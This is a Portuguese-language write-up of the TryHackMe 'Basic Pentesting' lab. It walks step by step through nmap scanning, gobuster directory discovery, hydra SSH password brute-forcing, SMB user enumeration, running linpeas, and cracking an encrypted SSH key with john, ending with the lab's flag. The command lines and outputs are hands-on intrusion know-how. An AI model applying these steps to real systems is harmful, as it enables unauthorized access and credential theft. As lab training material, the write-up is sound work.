

Testes

Task 1 Web App Testing and Privilege Escalation

In these set of tasks you'll learn the following:

- brute forcing
- hash cracking
- service enumeration
- Linux Enumeration

1. Find the services exposed by the machine

Resposta=

Rodei um nmap para descobrir serviços expostos e versões

nmap -sV -T4 -O -F --version-light 10.66.131.64

Zenmap

Scan Tools Profile Help

Target: 10.66.131.64 Profile: Quick scan plus Scan Cancel

Command: nmap -sV -T4 -O -F --version-light 10.66.131.64

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

nmap -sV -T4 -O -F --version-light 10.66.131.64 Details

Starting Nmap 7.98 (https://nmap.org) at 2025-12-24 01:22
-0300

Nmap scan report for 10.66.131.64

Host is up (0.15s latency).

Not shown: 96 closed tcp ports (reset)

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	Apache httpd 2.4.41 ((Ubuntu))
139/tcp	open	netbios-ssn	Samba smbd 4
445/tcp	open	netbios-ssn	Samba smbd 4

Device type: general purpose

Running: Linux 4.X

OS CPE: cpe:/o:linux:linux_kernel:4.15

OS details: Linux 4.15

Network Distance: 3 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 14.52 seconds

Filter Hosts

2. What is the name of the hidden directory on the web server(enter name without /)?

Resposta= development

Utilizei da ferramenta gobuster e utilizei uma wordlist publica para listar as páginas escondidas no website

```
gobuster dir -u http://10.66.131.64/ -w ~/SecLists-master/Discovery/Web-Content/raft-large-directories.txt
```

```

> gobuster dir -u http://10.66.131.64/ -w ~/SecLists-master/Discovery/Web-Content/raft-large-directories.txt
=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.66.131.64/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:    /home/sadly/SecLists-master/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.8.2
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
development      (Status: 301) [Size: 318] [--> http://10.66.131.64/development/]
server-status    (Status: 403) [Size: 277]

```

3. User brute-forcing to find the username & password

Resposta=

utilizei da ferramenta hydra para descobrir senhas e usuários, nesse caso encontrei apenas a senha, e os usuarios com outra falha SMB que irei citar em breve.

```

> hydra -l jan -P ~/SecLists-master/Passwords/Common-Credentials/10k-most-common.txt ssh://10.66.131.64 -R
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or
poses (this is non-binding, these *** ignore laws and ethics anyway).

INFORMATION] reading restore file ./hydra.restore
WARNING] options after -R are now honored (since v8.6)
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-24 02:11:04
DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
DATA] attacking ssh://10.66.131.64:22/
STATUS] 3902.00 tries/min, 3902 tries in 00:01h, 6098 to do in 00:02h, 16 active
STATUS] 2067.50 tries/min, 4135 tries in 00:02h, 5865 to do in 00:03h, 16 active
STATUS] 1154.75 tries/min, 4619 tries in 00:04h, 5382 to do in 00:05h, 15 active
STATUS] 683.50 tries/min, 5468 tries in 00:08h, 4533 to do in 00:07h, 15 active
STATUS] 505.23 tries/min, 6568 tries in 00:13h, 3433 to do in 00:07h, 15 active
STATUS] 426.28 tries/min, 7673 tries in 00:18h, 2328 to do in 00:06h, 15 active
STATUS] 382.17 tries/min, 8790 tries in 00:23h, 1211 to do in 00:04h, 15 active
[22][ssh] host: 10.66.131.64 login: jan password: armando
of 1 target successfully completed, 1 valid password found
WARNING] Writing restore file because 3 final worker threads did not complete until end.
ERROR] 3 targets did not resolve or could not be connected
ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-24 02:35:06

```

4. What is the username?

Resposta=jan e kay

Ao visitar o website na página escondida <http://10.66.131.64/development/dev.txt> encontramos o seguinte:

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

Ao ler a conversa em inglês é possível notar que o mesmo cita estar utilizando a versão 2.5.12 (provavelmente apache) pois outras versões davam trabalho, logo abaixo vemos "SMB has been configured. -K" o protocolodo SMB pode ter usuários expostos vou verificar.

utilizei da ferramenta enum4linux com o comando `enum4linux -a 10.66.131.64`

```
===== ( Users on 10.66.131.64 via RID cycling (RIDS: 500-550,1000-1050) ) =====  
[I] Found new SID:  
S-1-22-1  
  
[I] Found new SID:  
S-1-5-32  
  
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''  
S-1-22-1-1000 Unix User\kay (Local User)  
S-1-22-1-1001 Unix User\jan (Local User)  
S-1-22-1-1002 Unix User\ubuntu (Local User)
```

Encontrei kay, jan e ubuntu com usuarios SMB expostos.

5. What service do you use to access the server(answer in abbreviation in all caps)?

Resposta=SSH (Secure Shell)

ao tentar me logar com o login: jan e senha: armando consegui acesso remoto à maquina com sucesso um RCE.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

```
Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@ip-10-66-131-64:~$ whoami
jan
jan@ip-10-66-131-64:~$ █
```

Uma falha de nível gravíssimo.

6. Enumerate the machine to find any vectors for privilege escalation

Resposta=Python

Usei comandos como uname -a e id também usei `find / -perm -4000 -o -perm -2000 -exec ls -la {}`

\; não encontrei nada então fui atrás de um script para automatizar a busca de vulnerabilidades que permitam a escalação de privilégio, o linpeas do github, irei transferir usando as credenciais de "Jan" usando a ferramenta SCP para transferir o script para a pasta /dev/shm shared memory.

```
~/Downloads
$ scp linpeas.sh jan@10.66.131.64:/dev/shm
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
jan@10.66.131.64's password:
linpeas.sh
```

após verificar a pasta /dev/shm na máquina do alvo, encontrei o script e setei como executável com o comando chmod +x linpeas.sh

```
jan@ip-10-66-131-64:/dev/shm$ ls
linpeas.sh
jan@ip-10-66-131-64:/dev/shm$ chmod +x linpeas.sh
jan@ip-10-66-131-64:/dev/shm$ ls -la
total 0
drwxrwxrwt  2 root root   60 Dec 24 02:45 .
drwxr-xr-x 18 root root 3880 Dec 23 23:20 ..
-rw-rxr-xr-x  1 jan  jan    0 Dec 24 02:45 linpeas.sh
jan@ip-10-66-131-64:/dev/shm$ █
```

ao rodar ./linpeas.sh o script encontrou um id_rsa exposto do usuário kay que possui privilégios root.

Searching ssl/ssh files Analyzing SSH Files (limit 70)

```
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuz1crRr40NGUAnKcRwg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmB487RdFVkT0VQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRtGcXPY8B7nsA1eiPYrPZHIH3Q0FIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0llXAqIaX5QfeXMacIQOUWCHATlpVXmN
LG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zn0lnlhCh4UEawX0Tt+VKd6kzh+Bk0au
```

ao tentar me logar no usuario me deparei com a restrição a senha, talvez eu consiga quebrar utilizando a ferramenta johntheripper & ssh2john.

Primeiro transformei a chave RSA privada em arquivo compativel com o JohnRipper usando o ssh2john
kay_id_rsa > kay_john.txt

logo em seguida crackeei a senha usando o johnripper

```
> john kay_john.txt --wordlist=wordlist.txt --format=ssh
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 12 needed for performance.
beeswax          (kay_rsa)
[redacted]g 0.00:00:00 DONE (2025-12-24 05:21) 100.0g/s 100.0p/s 100.0c/s 100.0C/s beeswax
Session completed
```

Senha encontrada beeswax

ao tentar me conectar novamente via SSH utilizando a chave privada fui capaz de infiltrar o login com sucesso.

```
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.  
Your Hardware Enablement Stack (HWE) is supported until April 2025.  
Last login: Sun Jun 22 13:40:04 2025 from 10.23.8.228  
kay@ip-10-66-131-64:~$ pwd  
/home/kay  
kay@ip-10-66-131-64:~$ whoami  
kay  
kay@ip-10-66-131-64:~$ ls -la  
total 48  
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .  
drwxr-xr-x 5 root root 4096 Dec 23 23:21 ..  
-rw----- 1 kay kay 789 Jun 22 2025 .bash_history  
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout  
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc  
drwx----- 2 kay kay 4096 Apr 17 2018 .cache  
-rw----- 1 root kay 119 Apr 23 2018 .lesshst  
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano  
-rw----- 1 kay kay 57 Apr 23 2018 pass.bak  
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile  
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh  
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful  
-rw----- 1 root kay 538 Apr 23 2018 .viminfo
```

6. What is the final password you obtain?

Resposta=heresareallystrongpasswordthatfollowsthepasswordpolicy\$\$

Capturei a ultima flag do laboratório utilizando o comando cat pass.bak, agora tendo as permissões corretas para ler o arquivo.

```
kay@ip-10-66-131-64:~$ ls -la  
total 48  
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .  
drwxr-xr-x 5 root root 4096 Dec 23 23:21 ..  
-rw----- 1 kay kay 789 Jun 22 2025 .bash_history  
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout  
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc  
drwx----- 2 kay kay 4096 Apr 17 2018 .cache  
-rw----- 1 root kay 119 Apr 23 2018 .lesshst  
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano  
-rw----- 1 kay kay 57 Apr 23 2018 pass.bak  
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile  
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh  
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful  
-rw----- 1 root kay 538 Apr 23 2018 .viminfo  
kay@ip-10-66-131-64:~$ cat pass.bak  
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Demonstrate your expertise and stand out in the cyber security community

Boost your visibility and highlight your dedication to professional growth.



Basic Pentesting

tryhackme.com - 45 min read

LinkedIn

WhatsApp

Telegram

Twitter / X

Facebook

Copy link